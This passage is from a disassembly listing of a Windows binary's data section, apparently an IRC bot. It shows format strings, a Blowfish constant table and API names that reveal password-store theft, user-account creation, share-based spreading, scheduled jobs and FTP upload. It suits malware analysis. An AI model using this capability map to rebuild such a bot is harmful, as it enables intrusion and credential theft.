%s',0 ; DATA XREF: sub_40A9FE+8EEo ; sub_40A9FE+915o align 4 a6 db '$6',0 ; DATA XREF: sub_40A9FE+84Eo align 4 a5 db '$5',0 ; DATA XREF: sub_40A9FE+83Ao align 10h a4 db '$4',0 ; DATA XREF: sub_40A9FE+823o align 4 a3 db '$3',0 ; DATA XREF: sub_40A9FE+80Fo align 4 a2 db '$2',0 ; DATA XREF: sub_40A9FE+7FBo align 4 a1_0 db '$1',0 ; DATA XREF: sub_40A9FE+7E7o align 10h aChan db '$chan',0 ; DATA XREF: sub_40A9FE+7D3o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_40A9FE+7BDo align 10h off_4416C0 dd offset dword_656D24 ; DATA XREF: sub_40A9FE+7A0o ; sub_40A9FE+24FFo dword_4416C4 dd 73256325h, 0 aSAddedAliasS db '%s Added Alias: %s',0 ; DATA XREF: sub_40A9FE+6C7o align 10h aS_1 db ' %s',0 ; DATA XREF: sub_40A9FE+67Eo ; sub_40A9FE+14BAo ... aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40A9FE+5D1o aSAliasList db '%s [Alias list]',0 ; DATA XREF: sub_40A9FE+57Co aSServerListCom db '%s Server List complete.',0 ; DATA XREF: sub_40A9FE+54Bo align 4 aISDSS db '%i: %s:%d%s, %s',0 ; DATA XREF: sub_40A9FE+524o aListComplete db '-=[List Complete]=-',0 ; DATA XREF: sub_40A9FE+4E2o aSServerISDS db '%s: Server: [%i: %s:%d%s]',0 ; DATA XREF: sub_40A9FE+4BAo align 4 aSsl db ' (SSL)',0 ; DATA XREF: sub_40A9FE+489o ; sub_40A9FE+508o align 4 aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_40A9FE+3C9o ; sub_40A9FE+837Ao ... align 8 dword_441778 dd 243F6A88h dd 85A308D3h, 13198A2Eh, 3707344h, 0A4093822h, 299F31D0h dd 82EFA98h, 0EC4E6C89h, 452821E6h, 38D01377h, 0BE5466CFh dd 34E90C6Ch, 0C0AC29B7h, 0C97C50DDh, 3F84D5B5h, 0B5470917h dd 9216D5D9h, 8979FB1Bh dword_4417C0 dd 0D1310BA6h dd 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h, 0B8E1AFEDh, 6A267E96h dd 0BA7C9045h, 0F12C7F99h, 24A19947h, 0B3916CF7h, 801F2E2h dd 858EFC16h, 636920D8h, 71574E69h, 0A458FEA3h, 0F4933D7Eh dd 0D95748Fh, 728EB658h, 718BCD58h, 82154AEEh, 7B54A41Dh dd 0C25A59B5h, 9C30D539h, 2AF26013h, 0C5D1B023h, 286085F0h dd 0CA417918h, 0B8DB38EFh, 8E79DCB0h, 603A180Eh, 6C9E0E8Bh dd 0B01E8A3Eh, 0D71577C1h, 0BD314B27h, 78AF2FDAh, 55605C60h dd 0E65525F3h, 0AA55AB94h, 57489862h, 63E81440h, 55CA396Ah dd 2AAB10B6h, 0B4CC5C34h, 1141E8CEh, 0A15486AFh, 7C72E993h dd 0B3EE1411h, 636FBC2Ah, 2BA9C55Dh, 741831F6h, 0CE5C3E16h dd 9B87931Eh, 0AFD6BA33h, 6C24CF5Ch, 7A325381h, 28958677h dd 3B8F4898h, 6B4BB9AFh, 0C4BFE81Bh, 66282193h, 61D809CCh dd 0FB21A991h, 487CAC60h, 5DEC8032h, 0EF845D5Dh, 0E98575B1h dd 0DC262302h, 0EB651B88h, 23893E81h, 0D396ACC5h, 0F6D6FF3h dd 83F44239h, 2E0B4482h, 0A4842004h, 69C8F04Ah, 9E1F9B5Eh dd 21C66842h, 0F6E96C9Ah, 670C9C61h, 0ABD388F0h, 6A51A0D2h dd 0D8542F68h, 960FA728h, 0AB5133A3h, 6EEF0B6Ch, 137A3BE4h dd 0BA3BF050h, 7EFB2A98h, 0A1F1651Dh, 39AF0176h, 66CA593Eh dd 82430E88h, 8CEE8619h, 456F9FB4h, 7D84A5C3h, 3B8B5EBEh dd 0E06F75D8h, 85C12073h, 401A449Fh, 56C16AA6h, 4ED3AA62h dd 363F7706h, 1BFEDF72h, 429B023Dh, 37D0D724h, 0D00A1248h dd 0DB0FEAD3h, 49F1C09Bh, 75372C9h, 80991B7Bh, 25D479D8h dd 0F6E8DEF7h, 0E3FE501Ah, 0B6794C3Bh, 976CE0BDh, 4C006BAh dd 0C1A94FB6h, 409F60C4h, 5E5C9EC2h, 196A2463h, 68FB6FAFh dd 3E6C53B5h, 1339B2EBh, 3B52EC6Fh, 6DFC511Fh, 9B30952Ch dd 0CC814544h, 0AF5EBD09h, 0BEE3D004h, 0DE334AFDh, 660F2807h dd 192E4BB3h, 0C0CBA857h, 45C8740Fh, 0D20B5F39h, 0B9D3FBDBh dd 5579C0BDh, 1A60320Ah, 0D6A100C6h, 402C7279h, 679F25FEh dd 0FB1FA3CCh, 8EA5E9F8h, 0DB3222F8h, 3C7516DFh, 0FD616B15h dd 2F501EC8h, 0AD0552ABh, 323DB5FAh, 0FD238760h, 53317B48h dd 3E00DF82h, 9E5C57BBh, 0CA6F8CA0h, 1A87562Eh, 0DF1769DBh dd 0D542A8F6h, 287EFFC3h, 0AC6732C6h, 8C4F5573h, 695B27B0h dd 0BBCA58C8h, 0E1FFA35Dh, 0B8F011A0h, 10FA3D98h, 0FD2183B8h dd 4AFCB56Ch, 2DD1D35Bh, 9A53E479h, 0B6F84565h, 0D28E49BCh dd 4BFB9790h, 0E1DDF2DAh, 0A4CB7E33h, 62FB1341h, 0CEE4C6E8h dd 0EF20CADAh, 36774C01h, 0D07E9EFEh, 2BF11FB4h, 95DBDA4Dh dd 0AE909198h, 0EAAD8E71h, 6B93D5A0h, 0D08ED1D0h, 0AFC725E0h dd 8E3C5B2Fh, 8E7594B7h, 8FF6E2FBh, 0F2122B64h, 8888B812h dd 900DF01Ch, 4FAD5EA0h, 688FC31Ch, 0D1CFF191h, 0B3A8C1ADh dd 2F2F2218h, 0BE0E1777h, 0EA752DFEh, 8B021FA1h, 0E5A0CC0Fh dd 0B56F74E8h, 18ACF3D6h, 0CE89E299h, 0B4A84FE0h, 0FD13E0B7h dd 7CC43B81h, 0D2ADA8D9h, 165FA266h, 80957705h, 93CC7314h dd 211A1477h, 0E6AD2065h, 77B5FA86h, 0C75442F5h, 0FB9D35CFh dd 0EBCDAF0Ch, 7B3E89A0h, 0D6411BD3h, 0AE1E7E49h, 250E2Dh dd 2071B35Eh, 226800BBh, 57B8E0AFh, 2464369Bh, 0F009B91Eh dd 5563911Dh, 59DFA6AAh, 78C14389h, 0D95A537Fh, 207D5BA2h dd 2E5B9C5h, 83260376h, 6295CFA9h, 11C81968h, 4E734A41h dd 0B3472DCAh, 7B14A94Ah, 1B510052h, 9A532915h, 0D60F573Fh dd 0BC9BC6E4h, 2B60A476h, 81E67400h, 8BA6FB5h, 571BE91Fh dd 0F296EC6Bh, 2A0DD915h, 0B6636521h, 0E7B9F9B6h, 0FF34052Eh dd 0C5855664h, 53B02D5Dh, 0A99F8FA1h, 8BA4799h, 6E85076Ah dd 4B7A70E9h, 0B5B32944h, 0DB75092Eh, 0C4192623h, 0AD6EA6B0h dd 49A7DF7Dh, 9CEE60B8h, 8FEDB266h, 0ECAA8C71h, 699A17FFh dd 5664526Ch, 0C2B19EE1h, 193602A5h, 75094C29h, 0A0591340h dd 0E4183A3Eh, 3F54989Ah, 5B429D65h, 6B8FE4D6h, 99F73FD6h dd 0A1D29C07h, 0EFE830F5h, 4D2D38E6h, 0F0255DC1h, 4CDD2086h dd 8470EB26h, 6382E9C6h, 21ECC5Eh, 9686B3Fh, 3EBAEFC9h dd 3C971814h, 6B6A70A1h, 687F3584h, 52A0E286h, 0B79C5305h dd 0AA500737h, 3E07841Ch, 7FDEAE5Ch, 8E7D44ECh, 5716F2B8h dd 0B03ADA37h, 0F0500C0Dh, 0F01C1F04h, 200B3FFh, 0AE0CF51Ah dd 3CB574B2h, 25837A58h, 0DC0921BDh, 0D19113F9h, 7CA92FF6h dd 94324773h, 22F54701h, 3AE5E581h, 37C2DADCh, 0C8B57634h dd 9AF3DDA7h, 0A9446146h, 0FD0030Eh, 0ECC8C73Eh, 0A4751E41h dd 0E238CD99h, 3BEA0E2Fh, 3280BBA1h, 183EB331h, 4E548B38h dd 4F6DB908h, 6F420D03h, 0F60A04BFh, 2CB81290h, 24977C79h dd 5679B072h, 0BCAF89AFh, 0DE9A771Fh, 0D9930810h, 0B38BAE12h dd 0DCCF3F2Eh, 5512721Fh, 2E6B7124h, 501ADDE6h, 9F84CD87h dd 7A584718h, 7408DA17h, 0BC9F9ABCh, 0E94B7D8Ch, 0EC7AEC3Ah dd 0DB851DFAh, 63094366h, 0C464C3D2h, 0EF1C1847h, 3215D908h dd 0DD433B37h, 24C2BA16h, 12A14D43h, 2A65C451h, 50940002h dd 133AE4DDh, 71DFF89Eh, 10314E55h, 81AC77D6h, 5F11199Bh dd 43556F1h, 0D7A3C76Bh, 3C11183Bh, 5924A509h, 0F28FE6EDh dd 97F1FBFAh, 9EBABF2Ch, 1E153C6Eh, 86E34570h, 0EAE96FB1h dd 860E5E0Ah, 5A3E2AB3h, 771FE71Ch, 4E3D06FAh, 2965DCB9h dd 99E71D0Fh, 803E89D6h, 5266C825h, 2E4CC978h, 9C10B36Ah dd 0C6150EBAh, 94E2EA78h, 0A5FC3C53h, 1E0A2DF4h, 0F2F74EA7h dd 361D2B3Dh, 1939260Fh, 19C27960h, 5223A708h, 0F71312B6h dd 0EBADFE6Eh, 0EAC31F66h, 0E3BC4595h, 0A67BC883h, 0B17F37D1h dd 18CFF28h, 0C332DDEFh, 0BE6C5AA5h, 65582185h, 68AB9802h dd 0EECEA50Fh, 0DB2F953Bh, 2AEF7DADh, 5B6E2F84h, 1521B628h dd 29076170h, 0ECDD4775h, 619F1510h, 13CCA830h, 0EB61BD96h dd 334FE1Eh, 0AA0363CFh, 0B5735C90h, 4C70A239h, 0D59E9E0Bh dd 0CBAADE14h, 0EECC86BCh, 60622CA7h, 9CAB5CABh, 0B2F3846Eh dd 648B1EAFh, 19BDF0CAh, 0A02369B9h, 655ABB50h, 40685A32h dd 3C2AB4B3h, 319EE9D5h, 0C021B8F7h, 9B540B19h, 875FA099h dd 95F7997Eh, 623D7DA8h, 0F837889Ah, 97E32D77h, 11ED935Fh dd 16681281h, 0E358829h, 0C7E61FD6h, 96DEDFA1h, 7858BA99h dd 57F584A5h, 1B227263h, 9B83C3FFh, 1AC24696h, 0CDB30AEBh dd 532E3054h, 8FD948E4h, 6DBC3128h, 58EBF2EFh, 34C6FFEAh dd 0FE28ED61h, 0EE7C3C73h, 5D4A14D9h, 0E864B7E3h, 42105D14h dd 203E13E0h, 45EEE2B6h, 0A3AAABEAh, 0DB6C4F15h, 0FACB4FD0h dd 0C742F442h, 0EF6ABBB5h, 654F3B1Dh, 41CD2105h, 0D81E799Eh dd 86854DC7h, 0E44B476Ah, 3D816250h, 0CF62A1F2h, 5B8D2646h dd 0FC8883A0h, 0C1C7B6A3h, 7F1524C3h, 69CB7492h, 47848A0Bh dd 5692B285h, 95BBF00h, 0AD19489Dh, 1462B174h, 23820E00h dd 58428D2Ah, 0C55F5EAh, 1DADF43Eh, 233F7061h, 3372F092h dd 8D937E41h, 0D65FECF1h, 6C223BDBh, 7CDE3759h, 0CBEE7460h dd 4085F2A7h, 0CE77326Eh, 0A6078084h, 19F8509Eh, 0E8EFD855h dd 61D99735h, 0A969A7AAh, 0C50C06C2h, 5A04ABFCh, 800BCADCh dd 9E447A2Eh, 0C3453484h, 0FDD56705h, 0E1E9EC9h, 0DB73DBD3h dd 105588CDh, 675FDA79h, 0E3674340h, 0C5C43465h, 713E38D8h dd 3D28F89Eh, 0F16DFF20h, 153E21E7h, 8FB03D4Ah, 0E6E39F2Bh dd 0DB83ADF7h, 0E93D5A68h dd 948140F7h, 0F64C261Ch, 94692934h, 411520F7h, 7602D4F7h dd 0BCF46B2Eh, 0D4A20068h, 0D4082471h, 3320F46Ah, 43B7D4B7h dd 500061AFh, 1E39F62Eh, 97244546h, 14214F74h, 0BF8B8840h dd 4D95FC1Dh, 96B591AFh, 70F4DDD3h, 66A02F45h, 0BFBC09ECh dd 3BD9785h, 7FAC6DD0h, 31CB8504h, 96EB27B3h, 55FD3941h dd 0DA2547E6h, 0ABCA0A9Ah, 28507825h, 530429F4h, 0A2C86DAh dd 0E9B66DFBh, 68DC1462h, 0D7486900h, 680EC0A4h, 27A18DEEh dd 4F3FFEA2h, 0E887AD8Ch, 0B58CE006h, 7AF4D6B6h, 0AACE1E7Ch dd 0D3375FECh, 0CE78A399h, 406B2A42h, 20FE9E35h, 0D9F385B9h dd 0EE39D7ABh, 3B124E8Bh, 1DC9FAF7h, 4B6D1856h, 26A36631h dd 0EAE397B2h, 3A6EFA74h, 0DD5B4332h, 6841E7F7h, 0CA7820FBh dd 0FB0AF54Eh, 0D8FEB397h, 454056ACh, 0BA489527h, 55533A3Ah dd 20838D87h, 0FE6BA9B7h, 0D096954Bh, 55A867BCh, 0A1159A58h dd 0CCA92963h, 99E1DB33h, 0A62A4A56h, 3F3125F9h, 5EF47E1Ch dd 9029317Ch, 0FDF8E802h, 4272F70h, 80BB155Ch, 5282CE3h dd 95C11548h, 0E4C66D22h, 48C1133Fh, 0C70F86DCh, 7F9C9EEh dd 41041F0Fh, 404779A4h, 5D886E17h, 325F51EBh, 0D59BC0D1h dd 0F2BCC18Fh, 41113564h, 257B7834h, 602A9C60h, 0DFF8E8A3h dd 1F636C1Bh, 0E12B4C2h, 2E1329Eh, 0AF664FD1h, 0CAD18115h dd 6B2395E0h, 333E92E1h, 3B240B62h, 0EEBEB922h, 85B2A20Eh dd 0E6BA0D99h, 0DE720C8Ch, 2DA2F728h, 0D0127845h, 95B794FDh dd 647D0862h, 0E7CCF5F0h, 5449A36Fh, 877D48FAh, 0C39DFD27h dd 0F33E8D1Eh, 0A476341h, 992EFF74h, 3A6F6EABh, 0F4F8FD37h dd 0A812DC60h, 0A1EBDDF8h, 991BE14Ch, 0DB6E6B0Dh, 0C67B5510h dd 6D672C37h, 2765D43Bh, 0DCD0E804h, 0F1290DC7h, 0CC00FFA3h dd 0B5390F92h, 690FED0Bh, 667B9FFBh, 0CEDB7D9Ch, 0A091CF0Bh dd 0D9155EA3h, 0BB132F88h, 515BAD24h, 7B9479BFh, 763BD6EBh dd 37392EB3h, 0CC115979h, 8026E297h, 0F42E312Dh, 6842ADA7h dd 0C66A2B3Bh, 12754CCCh, 782EF11Ch, 6A124237h, 0B79251E7h dd 6A1BBE6h, 4BFB6350h, 1A6B1018h, 11CAEDFAh, 3D25BDD8h dd 0E2E1C3C9h, 44421659h, 0A121386h, 0D90CEC6Eh, 0D5ABEA2Ah dd 64AF674Eh, 0DA86A85Fh, 0BEBFE988h, 64E4C3FEh, 9DBC8057h dd 0F0F7C086h, 60787BF8h, 6003604Dh, 0D1FD8346h, 0F6381FB0h dd 7745AE04h, 0D736FCCCh, 83426B33h, 0F01EAB71h, 0B0804187h dd 3C005E5Fh, 77A057BEh, 0BDE8AE24h, 55464299h, 0BF582E61h dd 4E58F48Fh, 0F2DDFDA2h, 0F474EF38h, 8789BDC2h, 5366F9C3h dd 0C8B38E74h, 0B475F255h, 46FCD9B9h, 7AEB2661h, 8B1DDF84h dd 846A0E79h, 915F95E2h, 466E598Eh, 20B45770h, 8CD55591h dd 0C902DE4Ch, 0B90BACE1h, 0BB8205D0h, 11A86248h, 7574A99Eh dd 0B77F19B6h, 0E0A9DC09h, 662D09A1h, 0C4324633h, 0E85A1F02h dd 9F0BE8Ch, 4A99A025h, 1D6EFE10h, 1AB93D1Dh, 0BA5A4DFh dd 0A186F20Fh, 2868F169h, 0DCB7DA83h, 573906FEh, 0A1E2CE9Bh dd 4FCD7F52h, 50115E01h, 0A70683FAh, 0A002B5C4h, 0DE6D027h dd 9AF88C27h, 773F8641h, 0C3604C06h, 61A806B5h, 0F0177A28h dd 0C0F586E0h, 6058AAh, 30DC7D62h, 11E69ED7h, 2338EA63h dd 53C2DD94h, 0C2C21634h, 0BBCBEE56h, 90BCB6DEh, 0EBFC7DA1h dd 0CE591D76h, 6F05E409h, 4B7C0188h, 39720A3Dh, 7C927C24h dd 86E3725Fh, 724D9DB9h, 1AC15BB4h, 0D39EB8FCh, 0ED545578h dd 8FCA5B5h, 0D83D7CD3h, 4DAD0FC4h, 1E50EF5Eh, 0B161E6F8h dd 0A28514D9h, 6C51133Ch, 6FD5C7E7h, 56E14EC4h, 362ABFCEh dd 0DDC6C837h, 0D79A3234h, 92638212h, 670EFA8Eh, 406000E0h dd 3A39CE37h, 0D3FAF5CFh, 0ABC27737h, 5AC52D1Bh, 5CB0679Eh dd 4FA33742h, 0D3822740h, 99BC9BBEh, 0D5118E9Dh, 0BF0F7315h dd 0D62D1C7Eh, 0C700C47Bh, 0B78C1B6Bh, 21A19045h, 0B26EB1BEh dd 6A366EB4h, 5748AB2Fh, 0BC946E79h, 0C6A376D2h, 6549C2C8h dd 530FF8EEh, 468DDE7Dh, 0D5730A1Dh, 4CD04DC6h, 2939BBDBh dd 0A9BA4650h, 0AC9526E8h, 0BE5EE304h, 0A1FAD5F0h, 6A2D519Ah dd 63EF8CE2h, 9A86EE22h, 0C089C2B8h, 43242EF6h, 0A51E03AAh dd 9CF2D0A4h, 83C061BAh, 9BE96A4Dh, 8FE51550h, 0BA645BD6h dd 2826A2F9h, 0A73A3AE1h, 4BA99586h, 0EF5562E9h, 0C72FEFD3h dd 0F752F7DAh, 3F046F69h, 77FA0A59h, 80E4A915h, 87B08601h dd 9B09E6ADh, 3B3EE593h, 0E990FD5Ah, 9E34D797h, 2CF0B7D9h dd 22B8B51h, 96D5AC3Ah, 17DA67Dh, 0D1CF3ED6h, 7C7D2D28h dd 1F9F25CFh, 0ADF2B89Bh, 5AD6B472h, 5A88F54Ch, 0E029AC71h dd 0E019A5E6h, 47B0ACFDh, 0ED93FA9Bh, 0E8D3C48Dh, 283B57CCh dd 0F8D56629h, 79132E28h, 785F0191h, 0ED756055h, 0F7960E44h dd 0E3D35E8Ch, 15056DD4h, 88F46DBAh, 3A16125h, 564F0BDh dd 0C3EB9E15h, 3C9057A2h, 97271AECh, 0A93A072Ah, 1B3F6D9Bh dd 1E6321F5h, 0F59C66FBh, 26DCF319h, 7533D928h, 0B155FDF5h dd 3563482h, 8ABA3CBBh, 28517711h, 0C20AD9F8h, 0ABCC5167h dd 0CCAD925Fh, 4DE81751h, 3830DC8Eh, 379D5862h, 9320F991h dd 0EA7A90C2h, 0FB3E7BCEh, 5121CE64h, 774FBE32h, 0A8B6E37Eh dd 0C3293D46h, 48DE5369h, 6413E680h, 0A2AE0810h, 0DD6DB224h dd 69852DFDh, 9072166h, 0B39A460Ah, 6445C0DDh, 586CDECFh dd 1C20C8AEh, 5BBEF7DDh, 1B588D40h, 0CCD2017Fh, 6BB4E3BBh dd 0DDA26A7Eh, 3A59FF45h, 3E350A44h, 0BCB4CDD5h, 72EACEA8h dd 0FA6484BBh, 8D6612AEh, 0BF3C6F47h, 0D29BE463h, 542F5D9Eh dd 0AEC2771Bh, 0F64E6370h, 740E0D8Dh, 0E75B1357h, 0F8721671h dd 0AF537D5Dh, 4040CB08h, 4EB4E2CCh, 34D2466Ah, 115AF84h dd 0E1B00428h, 95983A1Dh, 6B89FB4h, 0CE6EA048h, 6F3F3B82h dd 3520AB82h, 11A1D4Bh, 277227F8h, 611560B1h, 0E7933FDCh dd 0BB3A792Bh, 344525BDh, 0A08839E1h, 51CE794Bh, 2F32C9B7h dd 0A01FBAC9h, 0E01CC87Eh, 0BCC7D1F6h, 0CF0111C3h, 0A1E8AAC7h dd 1A908749h, 0D44FBD9Ah, 0D0DADECBh, 0D50ADA38h, 339C32Ah dd 0C6913667h, 8DF9317Ch, 0E0B12B4Fh, 0F79E59B7h, 43F5BB3Ah dd 0F2D519FFh, 27D9459Ch, 0BF97222Ch, 15E6FC2Ah, 0F91FC71h dd 9B941525h, 0FAE59361h, 0CEB69CEBh, 0C2A86459h, 12BAA8D1h dd 0B6C1075Eh, 0E3056A0Ch, 10D25065h, 0CB03A442h, 0E0EC6E0Eh dd 1698DB3Bh, 4C98A0BEh, 3278E964h, 9F1F9532h, 0E0D392DFh dd 0D3A0342Bh, 8971F21Eh, 1B0A7441h, 4BA3348Ch, 0C5BE7120h dd 0C37632D8h, 0DF359F8Dh, 9B992F2Eh, 0E60B6F47h, 0FE3F11Dh dd 0E54CDA54h, 1EDAD891h, 0CE6279CFh, 0CD3E7E6Fh, 1618B166h dd 0FD2C1D05h, 848FD2C5h, 0F6FB2299h, 0F523F357h, 0A6327623h dd 93A83531h, 56CCCD02h, 0ACF08162h, 5A75EBB5h, 6E163697h dd 88D273CCh, 0DE966292h, 81B949D0h, 4C50901Bh, 71C65614h dd 0E6C6C7BDh, 327A140Ah, 45E1D006h, 0C3F27B9Ah, 0C9AA53FDh dd 62A80F00h, 0BB25BFE2h, 35BDD2F6h, 71126905h, 0B2040222h dd 0B6CBCF7Ch, 0CD769C2Bh, 53113EC0h, 1640E3D3h, 38ABBD60h dd 2547ADF0h, 0BA38209Ch, 0F746CE76h, 77AFA1C5h, 20756060h dd 85CBFE4Eh, 8AE88DD8h, 7AAAF9B0h, 4CF9AA7Eh, 1948C25Ch dd 2FB8A8Ch, 1C36AE4h, 0D6EBE1F9h, 90D4F869h, 0A65CDEA0h dd 3F09252Dh, 0C208E69Fh, 0B74E6132h, 0CE77E25Bh, 578FDFE3h dd 3AC372E6h, 0 dd 0E7h dup(0) off_442B60 dd offset dword_442BA8 ; DATA XREF: sub_4170BC:loc_4170BEr ; sub_4170D6+E3r ... align 8 dword_442B68 dd 80h, 0Eh dup(0) dd 80000000h dword_442BA8 dd 31302F2Eh, 35343332h, 39383736h, 64636261h, 68676665h ; DATA XREF: .text:off_442B60o dd 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h, 42417A79h dd 46454443h, 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h dd 5A595857h, 0A4A3A2A1h, 0A8A7A6A5h, 0ACABAAA9h, 0B0AFAEADh dd 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h, 0C0BFBEBDh, 0C4C3C2C1h dd 0C8C7C6C5h, 0CCCBCAC9h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h dd 0DCDBDAD9h, 0E0DFDEDDh, 0E4E3E2E1h, 0E8E7E6E5h, 0ECEBEAE9h dd 0F0EFEEEDh, 0F4F3F2F1h, 0F8F7F6F5h, 0FCFBFAF9h, 0FFFEFDh a02x02x02x02x02 db '%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x',0 ; DATA XREF: sub_415506+64o align 4 aS_3 db '+%s',0 ; DATA XREF: sub_415603+26o aPathremovefile db 'PathRemoveFileSpecA',0 ; DATA XREF: sub_417362+F2Do aShlwapi_dll db 'shlwapi.dll',0 ; DATA XREF: sub_417362:loc_418284o aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_417362+EFEo align 4 aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_417362:loc_418255o aGetprocessmemo db 'GetProcessMemoryInfo',0 ; DATA XREF: sub_417362+EA2o align 4 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_417362+E95o align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_417362+E88o align 10h aGetmodulebasen db 'GetModuleBaseNameA',0 ; DATA XREF: sub_417362+E7Bo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_417362+E73o align 4 aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_417362:loc_4181C8o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_417362+E11o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_417362+E04o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_417362+DF7o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_417362+DEAo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_417362+DDDo align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_417362+DD5o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_417362:loc_41812Ao align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_417362+D93o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_417362+D8Bo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_417362:loc_4180E0o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_417362+D39o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_417362+D2Co align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_417362+D1Fo aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_417362+D17o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_417362:loc_41806Co aGetnetworkpara db 'GetNetworkParams',0 ; DATA XREF: sub_417362:loc_418044o align 4 aGetudptable db 'GetUdpTable',0 ; DATA XREF: sub_417362+CA2o aGettcptable db 'GetTcpTable',0 ; DATA XREF: sub_417362+C95o aGetiftable db 'GetIfTable',0 ; DATA XREF: sub_417362+C88o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_417362+C7Bo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_417362+C73o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_417362:loc_417FC4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_417362+C2Do align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_417362+C25o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_417362:loc_417F7Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_417362+B9Bo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_417362+B8Eo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_417362+B81o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_417362+B74o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_417362+B67o align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_417362+B5Ao align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_417362+B4Do align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_417362+B40o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_417362+B33o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_417362+B26o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_417362+B1Eo aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_417362+AD0o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_417362+AC3o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_417362+ABBo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_417362:loc_417E10o align 4 aMozilla5_0 db 'Mozilla/5.0',0 ; DATA XREF: sub_417362+A81o aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_417362+A0Fo aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_417362+A02o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_417362+9F5o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_417362+9E8o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_417362+9DBo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_417362+9CEo align 4 aFtpputfilea db 'FtpPutFileA',0 ; DATA XREF: sub_417362+9C1o aFtpgetfilea db 'FtpGetFileA',0 ; DATA XREF: sub_417362+9B4o aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_417362+9A7o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_417362+99Ao align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_417362+98Do aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_417362+985o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_417362:loc_417CD6o aShutdown db 'shutdown',0 ; DATA XREF: sub_417362+837o ; sub_41EC9D+126o align 4 aClosesocket db 'closesocket',0 ; DATA XREF: sub_417362+82Ao aGetpeername db 'getpeername',0 ; DATA XREF: sub_417362+81Do aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_417362+810o align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_417362+803o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_417362+7F6o aGetsockname db 'getsockname',0 ; DATA XREF: sub_417362+7E9o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_417362+7DCo align 4 aAccept db 'accept',0 ; DATA XREF: sub_417362+7CFo align 10h aListen db 'listen',0 ; DATA XREF: sub_417362+7C2o align 4 aSelect db 'select',0 ; DATA XREF: sub_417362+7B5o align 10h aBind db 'bind',0 ; DATA XREF: sub_417362+7ADo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_417362+79Bo align 4 aRecv db 'recv',0 ; DATA XREF: sub_417362+78Eo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_417362+781o align 4 aSend db 'send',0 ; DATA XREF: sub_417362+774o align 4 aNtohl db 'ntohl',0 ; DATA XREF: 